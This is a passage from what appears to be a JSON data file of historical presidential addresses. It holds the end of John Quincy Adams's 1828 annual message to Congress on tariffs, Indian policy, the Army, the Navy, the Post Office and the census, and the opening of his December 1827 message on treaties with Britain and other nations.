exports,\nthough occasionally differing in the balance, some times being more and\nsome times less. It is, indeed, a general law of prosperous commerce\nthat the real value of exports should by a small, and only a small,\nbalance exceed that of imports, that balance being a permanent addition\nto the wealth of the nation.The extent of the prosperous commerce of the nation must be regulated\nby the amount of its exports, and an important addition to the value of\nthese will draw after it a corresponding increase of importations. It\nhas happened in the vicissitudes of the seasons that the harvests of\nall Europe have in the late summer and autumn fallen short of their\nusual average. A relaxation of the interdict upon the importation of\ngrain and flour from abroad has ensued, a propitious market has been\nopened to the granaries of our country, and a new prospect of reward\npresented to the labors of the husband-man, which for several years has\nbeen denied. This accession to the profits of agriculture in the middle\nand western portions of our Union is accidental and temporary. It may\ncontinue only for a single year. It may be, as has been often\nexperienced in the revolutions of time, but the first of several scanty\nharvests in succession. We may consider it certain that for the\napproaching year it has added an item of large amount to the value of\nour exports and that it will produce a corresponding increase of\nimportations. It may therefore confidently be foreseen that the revenue\nof 1829 will equal and probably exceed that of 1828, and will afford\nthe means of extinguishing $10,000,000 more of the principal of the\npublic debt.This new element of prosperity to that part of our agricultural\nindustry which is occupied in producing the first article of human\nsubsistence is of the most cheering character to the feelings of\npatriotism. Proceeding from a cause which humanity will view with\nconcern, the sufferings of scarcity in distant lands, it yields a\nconsolatory reflection that this scarcity is in no respect attributable\nto us; that it comes from the dispensation of Him who ordains all in\nwisdom and goodness, and who permits evil itself only as an instrument\nof good; that, far from contributing to this scarcity, our agency will\nbe applied only to the alleviation of its severity, and that in pouring\nforth from the abundance of our own garners the supplies which will\npartially restore plenty to those who are in need we shall ourselves\nreduce our stores and add to the price of our own bread, so as in some\ndegree to participate in the wants which it will be the good fortune of\nour country to relieve.The great interests of an agricultural, commercial, and manufacturing\nnation are so linked in union together that no permanent cause of\nprosperity to one of them can operate without extending its influence\nto the others. All these interests are alike under the protecting power\nof the legislative authority, and the duties of the representative\nbodies are to conciliate them in harmony together.So far as the object of taxation is to raise a revenue for discharging\nthe debts and defraying the expenses of the community, its operation\nshould be adapted as much as possible to suit the burden with equal\nhand upon all in proportion with their ability of bearing it without\noppression. But the legislation of one nation is some times\nintentionally made to bear heavily upon the interests of another. That\nlegislation, adapted, as it is meant to be, to the special interests of\nits own people, will often press most unequally upon the several\ncomponent interests of its neighbors.Thus the legislation of Great Britain, when, as has recently been\navowed, adapted to the depression of a rival nation, will naturally\nabound with regulations to interdict upon the productions of the soil\nor industry of the other which come in competition with its own, and\nwill present encouragement, perhaps even bounty, to the raw material of\nthe other State which it can not produce itself, and which is essential\nfor the use of its manufactures, competitors in the markets of the\nworld with those of its commercial rival.Such is the state of commercial legislation of Great Britain as it\nbears upon our interests. It excludes with interdicting duties all\nimportation (except in time of approaching famine) of the great staple\nof production of our Middle and Western States; it proscribes with\nequal rigor the bulkier lumber and live stock of the same portion and\nalso of the Northern and Eastern part of our Union. It refuses even the\nrice of the South unless aggravated with a charge of duty upon the\nNorthern carrier who brings it to them. But the cotton, indispensable\nfor their looms, they will receive almost duty free to weave it into a\nfabric for our own wear, to the destruction of our own manufactures,\nwhich they are enabled thus to under-sell.Is the self-protecting energy of this nation so helpless that there\nexists in the political institutions of our country no power to\ncounter-act the bias of this foreign legislation; that the growers of\ngrain must submit to this exclusion from the foreign markets of their\nproduce; that the shippers must dismantle their ships, the trade of the\nNorth stagnate at the wharves, and the manufacturers starve at their\nlooms, while the whole people shall pay tribute to foreign industry to\nbe clad in a foreign garb; that the Congress of the Union are impotent\nto restore the balance in favor of native industry destroyed by the\nstatutes of another realm?More just and generous sentiments will, I trust, prevail. If the tariff\nadopted at the last session of Congress shall be found by experience to\nbear oppressively upon the interests of any one section of the Union,\nit ought to be, and I can not doubt will be, so modified as to\nalleviate its burden. To the voice of just complaint from any portion\nof their constituents the representatives of the States and of the\npeople will never turn away their ears.But so long as the duty of the foreign shall operate only as a bounty\nupon the domestic article; while the planter and the merchant and the\nshepherd and the husbandman shall be found thriving in their\noccupations under the duties imposed for the protection of domestic\nmanufactures, they will not repine at the prosperity shared with\nthemselves by their fellow citizens of other professions, nor denounce\nas violations of the Constitution the deliberate acts of Congress to\nshield from the wrongs of foreigns the native industry of the Union.While the tariff of the last session of Congress was a subject of\nlegislative deliberation it was foretold by some of its opposers that\none of its necessary consequences would be to impair the revenue. It is\nyet too soon to pronounce with confidence that this prediction was\nerroneous. The obstruction of one avenue of trade not unfrequently\nopens an issue to another. The consequence of the tariff will be to\nincrease the exportation and to diminish the importation of some\nspecific articles; but by the general law of trade the increase of\nexportation of one article will be followed by an increased importation\nof others, the duties upon which will supply the deficiencies which the\ndiminished importation would otherwise occasion. The effect of taxation\nupon revenue can seldom be foreseen with certainty. It must abide the\ntest of experience.As yet no symptoms of diminution are perceptible in the receipts of the\nTreasury. As yet little addition of cost has even been experienced upon\nthe articles burdened with heavier duties by the last tariff. The\ndomestic manufacturer supplies the same or a kindred article at a\ndiminished price, and the consumer pays the same tribute to the labor\nof his own country-man which he must otherwise have paid to foreign\nindustry and toil.The tariff of the last session was in its details not acceptable to the\ngreat interests of any portion of the Union, not even to the interest\nwhich it was specially intended to subserve. Its object was to balance\nthe burdens upon native industry imposed by the operation of foreign\nlaws, but not to aggravate the burdens of one section of the Union by\nthe relief afforded to another. To the great principle sanctioned by\nthat act--one of those upon which the Constitution itself was formed--I\nhope and trust the authorities of the Union will adhere. But if any of\nthe duties imposed by the act only relieve the manufacturer by\naggravating the burden of the planter, let a careful revisal of its\nprovisions, enlightened by the practical experience of its effects, be\ndirected to retain those which impart protection to native industry and\nremove or supply the place of those which only alleviate one great\nnational interest by the depression of another.The United States of America and the people of every State of which\nthey are composed are each of them sovereign powers. The legislative\nauthority of the whole is exercised by Congress under authority granted\nthem in the common Constitution. The legislative power of each State is\nexercised by assemblies deriving their authority from the constitution\nof the State. Each is sovereign within its own province. The\ndistribution of power between them presupposes that these authorities\nwill move in harmony with each other. The members of the State and\nGeneral Governments are all under oath to support both, and allegiance\nis due to the one and to the other. The case of a conflict between\nthese two powers has not been supposed, nor has any provision been made\nfor it in our institutions; as a virtuous nation of ancient times\nexisted more than five centuries without a law for the punishment of\nparricide.More than once, however, in the progress of our history have the people\nand the legislatures of one or more States, in moments of excitement,\nbeen instigated to this conflict; and the means of effecting this\nimpulse have been allegations that the acts of Congress to be resisted\nwere unconstitutional. The people of no one State have ever delegated\nto their legislature the power of pronouncing an act of Congress\nunconstitutional, but they have delegated to them powers by the\nexercise of which the execution of the laws of Congress within the\nState may be resisted. If we suppose the case of such conflicting\nlegislation sustained by the corresponding executive and judicial\nauthorities, patriotism and philanthropy turn their eyes from the\ncondition in which the parties would be placed, and from that of the\npeople of both, which must be its victims.The reports from the Secretary of War and the various subordinate\noffices of the resort of that Department present an exposition of the\npublic administration of affairs connected with them through the course\nof the current year. The present state of the Army and the distribution\nof the force of which it is composed will be seen from the report of\nthe Major General. Several alterations in the disposal of the troops\nhave been found expedient in the course of the year, and the discipline\nof the Army, though not entirely free from exception, has been\ngenerally good.The attention of Congress is particularly invited to that part of the\nreport of the Secretary of War which concerns the existing system of\nour relations with the Indian tribes. At the establishment of the\nFederal Government under the present Constitution of the United States\nthe principle was adopted of considering them as foreign and\nindependent powers and also as proprietors of lands. They were,\nmoreover, considered as savages, whom it was our policy and our duty to\nuse our influence in converting to Christianity and in bringing within\nthe pale of civilization.As independent powers, we negotiated with them by treaties; as\nproprietors, we purchased of them all the lands which we could prevail\nupon them to sell; as brethren of the human race, rude and ignorant, we\nendeavored to bring them to the knowledge of religion and letters. The\nultimate design was to incorporate in our own institutions that portion\nof them which could be converted to the state of civilization. In the\npractice of European States, before our Revolution, they had been\nconsidered as children to be governed; as tenants at discretion, to be\ndispossessed as occasion might require; as hunters to be indemnified by\ntrifling concessions for removal from the grounds from which their game\nwas extirpated. In changing the system it would seem as if a full\ncontemplation of the consequences of the change had not been taken.We have been far more successful in the acquisition of their lands than\nin imparting to them the principles or inspiring them with the spirit\nof civilization. But in appropriating to ourselves their hunting\ngrounds we have brought upon ourselves the obligation of providing them\nwith subsistence; and when we have had the rare good fortune of\nteaching them the arts of civilization and the doctrines of\nChristianity we have unexpectedly found them forming in the midst of\nourselves communities claiming to be independent of ours and rivals of\nsovereignty within the territories of the members of our Union. This\nstate of things requires that a remedy should be provided--a remedy\nwhich, while it shall do justice to those unfortunate children of\nnature, may secure to the members of our confederation their rights of\nsovereignty and of soil. As the outline of a project to that effect,\nthe views presented in the report of the Secretary of War are\nrecommended to the consideration of Congress.The report from the Engineer Department presents a comprehensive view\nof the progress which has been made in the great systems promotive of\nthe public interest, commenced and organized under authority of\nCongress, and the effects of which have already contributed to the\nsecurity, as they will hereafter largely contribute to the honor and\ndignity, of the nation.The first of these great systems is that of fortifications, commenced\nimmediately after the close of our last war, under the salutary\nexperience which the events of that war had impressed upon our country-\nmen of its necessity. Introduced under the auspices of my immediate\npredecessor, it has been continued with the persevering and liberal\nencouragement of the Legislature, and, combined with corresponding\nexertions for the gradual increase and improvement of the Navy,\nprepares for our extensive country a condition of defense adapted to\nany critical emergency which the varying course of events may bring\nforth. Our advances in these concerted systems have for the last ten\nyears been steady and progressive, and in a few years more will be so\ncompleted as to leave no cause for apprehension that our sea coast will\never again offer a theater of hostile invasion.The next of these cardinal measures of policy is the preliminary to\ngreat and lasting works of public improvement in the surveys of roads,\nexamination for the course of canals, and labors for the removal of the\nobstructions of rivers and harbors, first commenced by the act of\nCongress of April 30th, 1824.The report exhibits in one table the funds appropriated at the last and\npreceding sessions of Congress for all these fortifications, surveys,\nand works of public improvement, the manner in which these funds have\nbeen applied, the amount expended upon the several works under\nconstruction, and the further sums which may be necessary to complete\nthem; in a second, the works projected by the Board of Engineers which\nhave not been commenced, and the estimate of their cost; in a third,\nthe report of the annual Board of Visitors at the Military Academy at\nWest Point.For thirteen fortifications erecting on various points of our Atlantic\ncoast, from Rhode Island to Louisiana, the aggregate expenditure of the\nyear has fallen little short of $1,000,000. For the preparation of five\nadditional reports of reconnoissances and surveys since the last\nsession of Congress, for the civil construction upon 37 different\npublic works commenced, eight others for which specific appropriations\nhave been made by acts of Congress, and twenty other incipient surveys\nunder the authority given by the act of April 30th, 1824, about\n$1,000,000 more has been drawn from the Treasury.To these $2,000,000 is to be added the appropriation of $250,000 to\ncommence the erection of a break-water near the mouth of the Delaware\nRiver, the subscriptions to the Delaware and Chesapeake, the Louisville\nand Portland, the Dismal Swamp, and the Chesapeake and Ohio canals, the\nlarge donations of lands to the States of Ohio, Indiana, Illinois, and\nAlabama for objects of improvements within those States, and the sums\nappropriated for light-houses, buoys, and piers on the coast; and a\nfull view will be taken of the munificence of the nation in the\napplication of its resources to the improvement of its own condition.Of these great national under-takings the Academy at West Point is\namong the most important in itself and the most comprehensive in its\nconsequences. In that institution a part of the revenue of the nation\nis applied to defray the expense of educating a competent portion of\nher youth chiefly to the knowledge and the duties of military life. It\nis the living armory of the nation. While the other works of\nimprovement enumerated in the reports now presented to the attention of\nCongress are destined to ameliorate the face of nature, to multiply the\nfacilities of communication between the different parts of the Union,\nto assist the labors, increase the comforts, and enhance the enjoyments\nof individuals, the instruction acquired at West Point enlarges the\ndominion and expands the capacities of the mind. Its beneficial results\nare already experienced in the composition of the Army, and their\ninfluence is felt in the intellectual progress of society. The\ninstitution is susceptible still of great improvement from benefactions\nproposed by several successive Boards of Visitors, to whose earnest and\nrepeated recommendations I cheerfully add my own.With the usual annual reports from the Secretary of the Navy and the\nBoard of Commissioners will be exhibited to the view of Congress the\nexecution of the laws relating to that department of the public\nservice. The repression of piracy in the West Indian and in the Grecian\nseas has been effectually maintained, with scarcely any exception.\nDuring the war between the Governments of Buenos Ayres and of Brazil\nfrequent collisions between the belligerent acts of power and the\nrights of neutral commerce occurred. Licentious blockades, irregularly\nenlisted or impressed sea men, and the property of honest commerce\nseized with violence, and even plundered under legal pretenses, are\ndisorders never separable from the conflicts of war upon the ocean.With a portion of them the correspondence of our commanders on the\neastern aspect of the South American coast and among the islands of\nGreece discover how far we have been involved. In these the honor of\nour country and the rights of our citizens have been asserted and\nvindicated. The appearance of new squadrons in the Mediterranean and\nthe blockade of the Dardanelles indicate the danger of other obstacles\nto the freedom of commerce and the necessity of keeping our naval force\nin those seas. To the suggestions repeated in the report of the\nSecretary of the Navy, and tending to the permanent improvement of this\ninstitution, I invite the favorable consideration of Congress.A resolution of the House of Representatives requesting that one of our\nsmall public vessels should be sent to the Pacific Ocean and South Sea\nto examine the coasts, islands, harbors, shoals, and reefs in those\nseas, and to ascertain their true situation and description, has been\nput in a train of execution. The vessel is nearly ready to depart. The\nsuccessful accomplishment of the expedition may be greatly facilitated\nby suitable legislative provisions, and particularly by an\nappropriation to defray its necessary expense. The addition of a 2nd,\nand perhaps a 3rd, vessel, with a slight aggravation of the cost, would\ncontribute much to the safety of the citizens embarked on this under-\ntaking, the results of which may be of the deepest interest to our\ncountry.With the report of the Secretary of the Navy will be submitted, in\nconformity to the act of Congress of March 3d, 1827, for the gradual\nimprovement of the Navy of the United States, statements of the\nexpenditures under that act and of the measures for carrying the same\ninto effect. Every section of that statute contains a distinct\nprovision looking to the great object of the whole--the gradual\nimprovement of the Navy. Under its salutary sanction stores of ship\ntimber have been procured and are in process of seasoning and\npreservation for the future uses of the Navy. Arrangements have been\nmade for the preservation of the live oak timber growing on the lands\nof the United States, and for its reproduction, to supply at future and\ndistant days the waste of that most valuable material for ship building\nby the great consumption of it yearly for the commercial as well as for\nthe military marine of our country.The construction of the two dry docks at Charlestown and at Norfolk is\nmaking satisfactory progress toward a durable establishment. The\nexaminations and inquiries to ascertain the practicability and\nexpediency of a marine railway at Pensacola, though not yet\naccomplished, have been postponed but to be more effectually made. The\nnavy yards of the United States have been examined, and plans for their\nimprovement and the preservation of the public property therein at\nPortsmouth, Charlestown, Philadelphia, Washington, and Gosport, and to\nwhich two others are to be added, have been prepared and received my\nsanction; and no other portion of my public duties has been performed\nwith a more intimate conviction of its importance to the future welfare\nand security of the Union.With the report from the Post Master General is exhibited a comparative\nview of the gradual increase of that establishment, from five to five\nyears, since 1792 'til this time in the number of post offices, which\nhas grown from less than 200 to nearly 8,000; in the revenue yielded by\nthem, which from $67,000 has swollen to upward of $1,500,000, and in\nthe number of miles of post roads, which from 5,642 have multiplied to\n114,536. While in the same period of time the population of the Union\nhas about thrice doubled, the rate of increase of these offices is\nnearly 40, and of the revenue and of traveled miles from 20 to 25 for\none. The increase of revenue within the last five years has been nearly\nequal to the whole revenue of the Department in 1812.The expenditures of the Department during the year which ended on July\n1st, 1828 have exceeded the receipts by a sum of about $25,000. The\nexcess has been occasioned by the increase of mail conveyances and\nfacilities to the extent of near 800,000 miles. It has been supplied by\ncollections from the post masters of the arrearages of preceding years.\nWhile the correct principle seems to be that the income levied by the\nDepartment should defray all its expenses, it has never been the policy\nof this Government to raise from this establishment any revenue to be\napplied to any other purposes. The suggestion of the Post Master\nGeneral that the insurance of the safe transmission of moneys by the\nmail might be assumed by the Department for a moderate and competent\nremuneration will deserve the consideration of Congress.A report from the commissioner of the public buildings in this city\nexhibits the expenditures upon them in the course of the current year.\nIt will be seen that the humane and benevolent intentions of Congress\nin providing, by the act of May 20th, 1826, for the erection of a\npenitentiary in this District have been accomplished. The authority of\nfurther legislation is now required for the removal to this tenement of\nthe offenders against the laws sentenced to atone by personal\nconfinement for their crimes, and to provide a code for their\nemployment and government while thus confined.The commissioners appointed, conformably to the act of March 2d, 1827,\nto provide for the adjustment of claims of persons entitled to\nindemnification under the first article of the treaty of Ghent, and for\nthe distribution among such claimants of the sum paid by the Government\nof Great Britain under the convention of November 13th, 1826, closed\ntheir labors on August 30th, 1828 last by awarding to the claimants the\nsum of $1,197,422.18, leaving a balance of $7,537.82, which was\ndistributed ratably amongst all the claimants to whom awards had been\nmade, according to the directions of the act.The exhibits appended to the report from the Commissioner of the\nGeneral Land Office present the actual condition of that common\nproperty of the Union. The amount paid into the Treasury from the\nproceeds of lands during the year 1827 and for the first half of 1828\nfalls little short of $2,000,000. The propriety of further extending\nthe time for the extinguishment of the debt due to the United States by\nthe purchasers of the public lands, limited by the act of March 21st,\n1828 to July 4th, 1829, will claim the consideration of Congress, to\nwhose vigilance and careful attention the regulation, disposal, and\npreservation of this great national inheritance has by the people of\nthe United States been intrusted.Among the important subjects to which the attention of the present\nCongress has already been invited, and which may occupy their further\nand deliberate discussion, will be the provision to be made for taking\nthe 5th census of enumeration of the inhabitants of the United States.\nThe Constitution of the United States requires that this enumeration\nshould be made within every term of ten years, and the date from which\nthe last enumeration commenced was the first Monday of August of the\nyear 1820.The laws under which the former enumerations were taken were enacted at\nthe session of Congress immediately preceding the operation; but\nconsiderable inconveniences were experienced from the delay of\nlegislation to so late a period. That law, like those of the preceding\nenumerations, directed that the census should be taken by the marshals\nof the several districts and Territories of the Union under\ninstructions from the Secretary of State. The preparation and\ntransmission to the marshals of those instructions required more time\nthan was then allowed between the passage of the law and the day when\nthe enumeration was to commence. The term of six months limited for the\nreturns of the marshals was also found even then too short, and must be\nmore so now, when an additional population of at least 3,000,000 must\nbe presented upon the returns.As they are to be made at the short session of Congress, it would, as\nwell as from other considerations, be more convenient to commence the\nenumeration from an earlier period of the year than the first of\nAugust. The most favorable season would be the spring.On a review of the former enumerations it will be found that the plan\nfor taking every census has contained many improvements upon that of\nits predecessor. The last is still susceptible of much improvement. The\n3rd Census was the first at which any account was taken of the\nmanufactures of the country. It was repeated at the last enumeration,\nbut the returns in both cases were necessarily very imperfect. They\nmust always be so, resting, of course, only upon the communications\nvoluntarily made by individuals interested in some of the manufacturing\nestablishments. Yet they contained much valuable information, and may\nby some supplementary provision of the law be rendered more effective.The columns of age, commencing from infancy, have hitherto been\nconfined to a few periods, all under the number of 45 years. Important\nknowledge would be obtained by extending these columns, in intervals of\nten years, to the utmost boundaries of human life. The labor of taking\nthem would be a trifling addition to that already prescribed, and the\nresult would exhibit comparative tables of longevity highly interesting\nto the country. I deem it my duty further to observe that much of the\nimperfections in the returns of the last and perhaps of preceding\nenumerations proceeded from the inadequateness of the compensations\nallowed to the marshals and their assistants in taking them.In closing this communication it only remains for me to assure the\nLegislature of my continued earnest wish for the adoption of measures\nrecommended by me heretofore and yet to be acted on by them, and of the\ncordial concurrence on my part in every constitutional provision which\nmay receive their sanction during the session tending to the general\nwelfare.JOHN QUINCY ADAMS", 
+    "name": "John Quincy Adams"
+}
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+{
+    "date": "December 4, 1827", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:A revolution of the seasons has nearly been completed since the\nrepresentatives of the people and States of this Union were last\nassembled at this place to deliberate and to act upon the common\nimportant interests of their constituents. In that interval the never\nslumbering eye of a wise and beneficent Providence has continued its\nguardian care over the welfare of our beloved country; the blessing of\nhealth has continued generally to prevail throughout the land; the\nblessing of peace with our brethren of the human race has been enjoyed\nwithout interruption; internal quiet has left our fellow citizens in\nthe full enjoyment of all their rights and in the free exercise of all\ntheir faculties, to pursue the impulse of their nature and the\nobligation of their duty in the improvement of their own condition; the\nproductions of the soil, the exchanges of commerce, the vivifying\nlabors of human industry, have combined to mingle in our cup a portion\nof enjoyment as large and liberal as the indulgence of Heaven has\nperhaps ever granted to the imperfect state of man upon earth; and as\nthe purest of human felicity consists in its participation with others,\nit is no small addition to the sum of our national happiness at this\ntime that peace and prosperity prevail to a degree seldom experienced\nover the whole habitable globe, presenting, though as yet with painful\nexceptions, a foretaste of that blessed period of promise when the lion\nshall lie down with the lamb and wars shall be no more.To preserve, to improve, and to perpetuate the sources and to direct in\ntheir most effective channels the streams which contribute to the\npublic weal is the purpose for which Government was instituted. Objects\nof deep importance to the welfare of the Union are constantly recurring\nto demand the attention of the Federal Legislature, and they call with\naccumulated interest at the first meeting of the two Houses after their\nperiodical renovation. To present to their consideration from time to\ntime subjects in which the interests of the nation are most deeply\ninvolved, and for the regulation of which the legislative will is alone\ncompetent, is a duty prescribed by the Constitution, to the performance\nof which the first meeting of the new Congress is a period eminently\nappropriate, and which it is now my purpose to discharge.Our relations of friendship with the other nations of the earth,\npolitical and commercial, have been preserved unimpaired, and the\nopportunities to improve them have been cultivated with anxious and\nunremitting attention. A negotiation upon subjects of high and delicate\ninterest with the Government of Great Britain has terminated in the\nadjustment of some of the questions at issue upon satisfactory terms\nand the postponement of others for future discussion and agreement.The purposes of the convention concluded at St. Petersburg on July\n12th, 1822, under the mediation of the late Emperor Alexander, have\nbeen carried into effect by a subsequent convention, concluded at\nLondon on November 13th, 1826, the ratifications of which were\nexchanged at that place on February 6th, 1827. A copy of the\nproclamations issued on March 19th, 1827, publishing this convention,\nis herewith communicated to Congress. The sum of $1,204,960, therein\nstipulated to be paid to the claimants of indemnity under the first\narticle of the treaty of Ghent, has been duly received, and the\ncommission instituted, conformably to the act of Congress of March 2d,\n1827, for the distribution of the indemnity of the persons entitled to\nreceive it are now in session and approaching the consummation of their\nlabors. This final disposal of one of the most painful topics of\ncollision between the United States and Great Britain not only affords\nan occasion of gratulation to ourselves, but has had the happiest\neffect in promoting a friendly disposition and in softening asperities\nupon other objects of discussion; nor ought it to pass without the\ntribute of a frank and cordial acknowledgment of the magnanimity with\nwhich an honorable nation, by the reparation of their own wrongs,\nachieves a triumph more glorious than any field of blood can ever\nbestow.The conventions of March 7th, 1815, and of October 20th, 1818, will\nexpire by their own limitation on October 20th, 1828. These have\nregulated the direct commercial intercourse between the United States\nand Great Britain upon terms of the most perfect reciprocity; and they\neffected a temporary compromise of the respective rights and claims to\nterritory westward of the Rocky Mountains. These arrangements have been\ncontinued for an indefinite period of time after the expiration of the\nabove mentioned conventions, leaving each party the liberty of\nterminating them by giving twelve months' notice to the other.The radical principle of all commercial intercourse between independent\nnations is the mutual interest of both parties. It is the vital spirit\nof trade itself; nor can it be reconciled to the nature of man or to\nthe primary laws of human society that any traffic should long be\nwillingly pursued of which all the advantages are on one side and all\nthe burdens on the other. Treaties of commerce have been found by\nexperience to be among the most effective instruments for promoting\npeace and harmony between nations whose interests, exclusively\nconsidered on either side, are brought into frequent collisions by\ncompetition. In framing such treaties it is the duty of each party not\nsimply to urge with unyielding pertinacity that which suits its own\ninterest, but to concede liberally to that which is adapted to the\ninterest of the other.To accomplish this, little more is generally required than a simple\nobservance of the rule of reciprocity, and were it possible for the\nstates-men of one nation by stratagem and management to obtain from\nthe weakness or ignorance of another an over-reaching treaty, such a\ncompact would prove an incentive to war rather than a bond of peace.Our conventions with Great Britain are founded upon the principles of\nreciprocity. The commercial intercourse between the two countries is\ngreater in magnitude and amount than between any two other nations on\nthe globe. It is for all purposes of benefit or advantage to both as\nprecious, and in all probability far more extensive, than if the\nparties were still constituent parts of one and the same nation.\nTreaties between such States, regulating the intercourse of peace\nbetween them and adjusting interests of such transcendent importance to\nboth, which have been found in a long experience of years mutually\nadvantageous, should not be lightly cancelled or discontinued. Two\nconventions for continuing in force those above mentioned have been\nconcluded between the plenipotentiaries of the two Governments on\nAugust 6th, 1827, and will be forthwith laid before the Senate for the\nexercise of their constitutional authority concerning them.In the execution of the treaties of peace of November, 1782 and\nSeptember, 1783, between the United States and Great Britain, and which\nterminated the war of our independence, a line of boundary was drawn as\nthe demarcation of territory between the two countries, extending over\nnearly 20 degrees of latitude, and ranging over seas, lakes, and\nmountains, then very imperfectly explored and scarcely opened to the\ngeographical knowledge of the age. In the progress of discovery and\nsettlement by both parties since that time several questions of\nboundary between their respective territories have arisen, which have\nbeen found of exceedingly difficult adjustment.At the close of the last war with Great Britain four of these questions\npressed themselves upon the consideration of the negotiators of the\ntreaty of Ghent, but without the means of concluding a definitive\narrangement concerning them. They were referred to three separate\ncommissions consisting, of two commissioners, one appointed by each\nparty, to examine and decide upon their respective claims. In the event\nof a disagreement between the commissioners, one appointed by each\nparty, to examine and decide upon their respective claims. In the event\nof a disagreement between the commissioners it was provided that they\nshould make reports to their several Governments, and that the reports\nshould finally be referred to the decision of a sovereign the common\nfriend of both.Of these commissions two have already terminated their sessions and\ninvestigations, one by entire and the other by partial agreement. The\ncommissioners of the 5th article of the treaty of Ghent have finally\ndisagreed, and made their conflicting reports to their own Governments.\nBut from these reports a great difficulty has occurred in making up a\nquestion to be decided by the arbitrator. This purpose has, however,\nbeen effected by a 4th convention, concluded at London by the\nplenipotentiaries of the two Governments on September 29th, 1827. It\nwill be submitted, together with the others, to the consideration of\nthe Senate.While these questions have been pending incidents have occurred of\nconflicting pretensions and of dangerous character upon the territory\nitself in dispute between the two nations. By a common understanding\nbetween the Governments it was agreed that no exercise of exclusive\njurisdiction by either party while the negotiation was pending should\nchange the state of the question of right to be definitively settled.\nSuch collision has, never the less, recently taken place by occurrences\nthe precise character of which has not yet been ascertained. A\ncommunication from the governor of the State of Maine, with\naccompanying documents, and a correspondence between the Secretary of\nState and the minister of Great Britain on this subject are now\ncommunicated. Measures have been taken to ascertain the state of the\nfacts more correctly by the employment of a special agent to visit the\nspot where the alleged outrages have occurred, the result of those\ninquiries, when received, will be transmitted to Congress.While so many of the subjects of high interest to the friendly\nrelations between the two countries have been so far adjusted, it is a\nmatter of regret that their views respecting the commercial intercourse\nbetween the United States and the British colonial possessions have not\nequally approximated to a friendly agreement.At the commencement of the last session of Congress they were informed\nof the sudden and unexpected exclusion by the British Government of\naccess in vessels of the United States to all their colonial ports\nexcept those immediately bordering upon our own territories. In the\namicable discussions which have succeeded the adoption of this measure\nwhich, as it affected harshly the interests of the United States,\nbecame subject of expostulation on our part, the principles upon which\nits justification has been placed have been of a diversified character.\nIt has been at once ascribed to a mere recurrence to the old, long\nestablished principle of colonial monopoly and at the same time to a\nfeeling of resentment because the offers of an act of Parliament\nopening the colonial ports upon certain conditions had not been grasped\nat with sufficient eagerness by an instantaneous conformity to them.At a subsequent period it has been intimated that the new exclusion was\nin resentment because a prior act of Parliament, of 1822, opening\ncertain colonial ports, under heavy and burdensome restrictions, to\nvessels of the United States, had not been reciprocated by an admission\nof British vessels from the colonies, and their cargoes, without any\nrestriction or discrimination what ever. But be the motive for the\ninterdiction what it may, the British Government have manifested no\ndisposition, either by negotiation or by corresponding legislative\nenactments, to recede from it, and we have been given distinctly to\nunderstand that neither of the bills which were under the consideration\nof Congress at their last session would have been deemed sufficient in\ntheir concessions to have been rewarded by any relaxation from the\nBritish interdict. It is one of the inconveniences inseparably\nconnected with the attempt to adjust by reciprocal legislation\ninterests of this nature that neither party can know what would be\nsatisfactory to the other, and that after enacting a statute for the\navowed and sincere purpose of conciliation it will generally be found\nutterly inadequate to the expectation of the other party, and will\nterminate in mutual disappointment.The session of Congress having terminated without any act upon the\nsubject, a proclamation was issued on March 17, 1827, conformably to\nthe provisions of the 6th section of the act of March 3rd, 1823\ndeclaring the fact that the trade and intercourse authorized by the\nBritish act of Parliament of June 24th, 1822, between the United States\nand the British enumerated colonial ports had been by the subsequent\nacts of Parliament of July 5th, 1825, and the order of council of July\n27th, 1826 prohibited. The effect of this proclamation, by the terms of\nthe act under which it was issued, has been that each and every\nprovision of the act concerning navigation of April 18th, 1818, and of\nthe act supplementary thereto of May 15th, 1820, revived and is in full\nforce.Such, then is the present condition of the trade that, useful as it is\nto both parties it can, with a single momentary exception, be carried\non directly by the vessels of neither. That exception itself is found\nin a proclamation of the governor of the island of St. Christopher and\nof the Virgin Islands, inviting for three months from August 28th, 1827\nthe importation of the articles of the produce of the United States\nwhich constitute their export portion of this trade in the vessels of\nall nations.That period having already expired, the state of mutual interdiction\nhas again taken place. The British Government have not only declined\nnegotiation upon this subject, but by the principle they have assumed\nwith reference to it have precluded even the means of negotiation. It\nbecomes not the self respect of the United States either to solicit\ngratuitous favors or to accept as the grant of a favor that for which\nan ample equivalent is exacted. It remains to be determined by the\nrespective Governments whether the trade shall be opened by acts of\nreciprocal legislation. It is, in the mean time, satisfactory to know\nthat apart from the inconvenience resulting from a disturbance of the\nusual channels of trade no loss has been sustained by the commerce, the\nnavigation, or the revenue of the United States, and none of magnitude\nis to be apprehended from this existing state of mutual interdict.With the other maritime and commercial nations of Europe our\nintercourse continues with little variation. Since the cessation by the\nconvention of June 24th, 1822, of all discriminating duties upon the\nvessels of the United States and of France in either country our trade\nwith that nation has increased and is increasing. A disposition on the\npart of France has been manifested to renew that negotiation, and in\nacceding to the proposal we have expressed the wish that it might be\nextended to other subjects upon which a good understanding between the\nparties would be beneficial to the interests of both.The origin of the political relations between the United States and\nFrance is coeval with the first years of our independence. The memory\nof it is interwoven with that of our arduous struggle for national\nexistence. Weakened as it has occasionally been since that time, it can\nby us never be forgotten, and we should hail with exultation the moment\nwhich should indicate a recollection equally friendly in spirit on the\npart of France.A fresh effort has recently been made by the minister of the United\nStates residing at Paris to obtain a consideration of the just claims\nof citizens of the United States to the reparation of wrongs long since\ncommitted, many of them frankly acknowledged and all of them entitled\nupon every principle of justice to a candid examination. The proposal\nlast made to the French Government has been to refer the subject which\nhas formed an obstacle to this consideration to the determination of a\nsovereign the common friend of both. To this offer no definitive answer\nhas yet been received, but the gallant and honorable spirit which has\nat all times been the pride and glory of France will not ultimately\npermit the demands of innocent sufferers to be extinguished in the mere\nconsciousness of the power to reject them.A new treaty of amity, navigation, and commerce has been concluded with\nthe Kingdom of Sweden, which will be submitted to the Senate for their\nadvice with regard to its ratification. At a more recent date a\nminister plenipotentiary from the Hanseatic Republics of Hamburg,\nLubeck, and Bremen has been received, charged with a special mission\nfor the negotiation of a treaty of amity and commerce between that\nancient and renowned league and the United States. This negotiation has\naccordingly been commenced, and is now in progress, the result of which\nwill, if successful, be also submitted to the Senate for their\nconsideration.Since the accession of the Emperor Nicholas to the imperial throne of\nall the Russias the friendly dispositions toward the United States so\nconstantly manifested by his predecessor have continued unabated, and\nhave been recently testified by the appointment of a minister\nplenipotentiary to reside at this place. From the interest taken by\nthis Sovereign in behalf of the suffering Greeks and from the spirit\nwith which others of the great 